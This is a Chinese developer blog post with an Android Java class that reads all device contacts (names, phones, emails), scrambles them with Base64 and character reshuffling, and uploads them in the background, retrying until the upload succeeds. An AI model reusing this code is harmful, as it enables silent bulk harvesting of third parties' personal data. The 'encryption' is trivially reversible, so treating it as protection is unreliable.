Android获取通讯录并上传(包含通讯录加密)
好久没更新文章了,近期在做通讯录上传,把它分享出来,送给需要的朋友。
写了一个通讯录工具类,直接放代码吧,关键位置通过注释来解释。
这个工具类包含通讯录获取,加密,然后上传操作。看不懂的可以留言
import android.database.Cursor; import android.os.AsyncTask; import android.provider.ContactsContract; import android.util.Base64; import com.demo.alfar.app.AlfarApplication; import com.demo.alfar.data.ActionDataManager; import com.demo.alfar.data.common.BaseThrowable; import com.demo.alfar.data.model.ConfigurationInfo; import com.demo.alfar.data.model.EmptyData; import com.demo.alfar.service.action.DeviceActionMvpView; import com.demo.alfar.service.action.DeviceActionPresenter; import com.demo.common.utils.LogUtil; import com.demo.common.utils.SpFileUtil; import com.demo.common.utils.StringUtils; import java.io.UnsupportedEncodingException; import java.util.List; public class ContactReader { //通过下面字符进行分割,组成字符串 static String fieldSplit = "\u0001"; static String lineSplit = "\u0002"; static String newStr; public static class ContactReaderReporter extends AsyncTask<String, Void, Integer> { @Override protected Integer doInBackground(String... argus) { String contactInfo = ""; Cursor cursor = null; try { cursor = AlfarApplication.getApplication().getContentResolver() .query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); int contactIdIndex = 0; int nameIndex = 0; if (cursor.getCount() > 0) { contactIdIndex = cursor.getColumnIndex(ContactsContract.Contacts._ID); nameIndex = cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME); } while (cursor.moveToNext()) { String element = ""; String contactId = cursor.getString(contactIdIndex); String name = cursor.getString(nameIndex); element = name + fieldSplit; Cursor phones = null; try { /* * 查找该联系人的phone信息 */ phones = AlfarApplication.getApplication().getContentResolver() .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + contactId, null, null); int phoneIndex = 0; if (phones.getCount() > 0) { phoneIndex = phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); } while (phones.moveToNext()) { String phoneNumber = phones.getString(phoneIndex); element += phoneNumber + lineSplit; } } catch (Exception e) { } finally { if (phones != null) { phones.close(); } } Cursor emails = null; try { /* * 查找该联系人的email信息 */ emails = AlfarApplication.getApplication().getContentResolver() .query(ContactsContract.CommonDataKinds.Email.CONTENT_URI, null, ContactsContract.CommonDataKinds.Email.CONTACT_ID + "=" + contactId, null, null); int emailIndex = 0; if (emails.getCount() > 0) { emailIndex = emails.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA); } while (emails.moveToNext()) { String email = emails.getString(emailIndex); element += email + fieldSplit; } } catch (Exception e) { // TODO: handle exception } finally { if (emails != null) { emails.close(); } } element += lineSplit; contactInfo += element; } if (StringUtils.isNotEmpty(contactInfo)) { LogUtil.Y("prePhoneNum:" + contactInfo); newStr = encodeStr(contactInfo); LogUtil.Y("finalPhoneNum:" + newStr); //这个是mvp模块中的网络请求部分,可忽略一下逻辑,也可进行替换 DeviceActionPresenter actionDataManager = new DeviceActionPresenter(new ActionDataManager()); actionDataManager.attachView(new DeviceActionMvpView() { @Override public void onDeviceActionSuccess(EmptyData response) { SpFileUtil.saveBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, true); } @Override public void onDeviceActionFail(BaseThrowable response) { SpFileUtil.saveBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, false); } @Override public void onGetConfigurationsSuccess(List<ConfigurationInfo> response) { } @Override public void showLoading() { } @Override public void hideLoading() { } }); actionDataManager.postClientContent(newStr); } } catch (Exception e) { e.printStackTrace(); } finally { try { if (cursor != null) { cursor.close(); cursor = null; } } catch (Exception e) { e.printStackTrace(); } } return null; } } /** * 执行上传操作 */ static public void onContactURLReport() { Boolean isSuccess = SpFileUtil.getBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, false); if (!isSuccess) { try { ContactReaderReporter task = new ContactReaderReporter(); task.execute(); } catch (Exception e) { e.printStackTrace(); } } } /** * 加密字符串,这是一个简单的算法,先base64加密之后,进行字符反转,服务端解密时候同样先进行字符反转,换成=号即可,然后再decode即可 * * @param info * @return */ public static String encodeStr(String info) { String baseStr = null; try { baseStr = Base64.encodeToString(info.getBytes("UTF-8"), Base64.NO_PADDING | Base64.NO_WRAP); } catch (Exception e) { e.printStackTrace(); } String newStr = ""; int half = baseStr.length() / 2; for (int i = 0; i < half; ++i) { if (i % 2 != 0) { newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() - 1 - i)); } else { newStr = newStr + (char) (baseStr.codePointAt(i)); } } if (baseStr.length() % 2 == 1) { newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() / 2)); } for (int i = half - 1; i >= 0; --i) { if (i % 2 != 0) { newStr = newStr + (char) (baseStr.codePointAt(i)); } else { newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() - 1 - i)); } } return newStr; } }
使用方法就是:
ContactReader.onContactURLReport();//上报通讯录信息即可
上面解密后的数据日志为(声明:通讯录数据都是假数据,如有雷同,纯属巧合,可联系我删除):
原数据是上面这样,中间是有点的,下面这个被编辑器去掉了
12-21 18:42:51.018 com.demo.alfar I/===y: prePhoneNum:马云18516886666骚扰电话15321114592广告推销17343150842李彦宏电话15301102735咋骗电话18101055214马化腾18666666666李科云18555555555 12-21 18:42:51.019 com.demo.alfar I/===y: finalPhoneNum:6gm15Tq1ATE1NTE4OTgRNLYRA6LOqprCigD2ljX2rj02MDUxMgEFMuQMOOIpAuWCvTWyiTawqDmxgTEBN5MoMLEnMpgpMoIl5g215z2y5T6x5zS16T+dAKE1M5APMaAmNbMOApLCkgv0qDf1lzX0rz0xMAgUMOEONuURM+Q5AumCrTW1lTixvjEzOTYBN5YoNLYnNbIm5p2p5ge25jq2ADE2NTU4NTURNLUsAaI
获取通讯录需要权限,记着提前申请:
Manifest.permission.READ_CONTACTS
----------附上base64位加密后面附带的参数解释----
CRLF 这个参数看起来比较眼熟,它就是Win风格的换行符,意思就是使用CR LF这一对作为一行的结尾而不是Unix风格的LF
DEFAULT 这个参数是默认,使用默认的方法来加密
NO_PADDING 这个参数是略去加密字符串最后的”=”
NO_WRAP 这个参数意思是略去所有的换行符(设置后CRLF就没用了)
URL_SAFE 这个参数意思是加密时不使用对URL和文件名有特殊意义的字符来作为加密字符,具体就是以-和_取代+和/
----------------------------------------------
如果,这篇博客帮您解决了问题,不妨点击一下右下角的【推荐】。如果,您希望更容易地发现我的新博客,不妨点击一下【加关注】。因为,我的热情需要您的肯定和支持!感谢您的阅读,如果文章中有错误或者您有什么好的建议,也欢迎您直接留言批评指教。Thanks,friends! |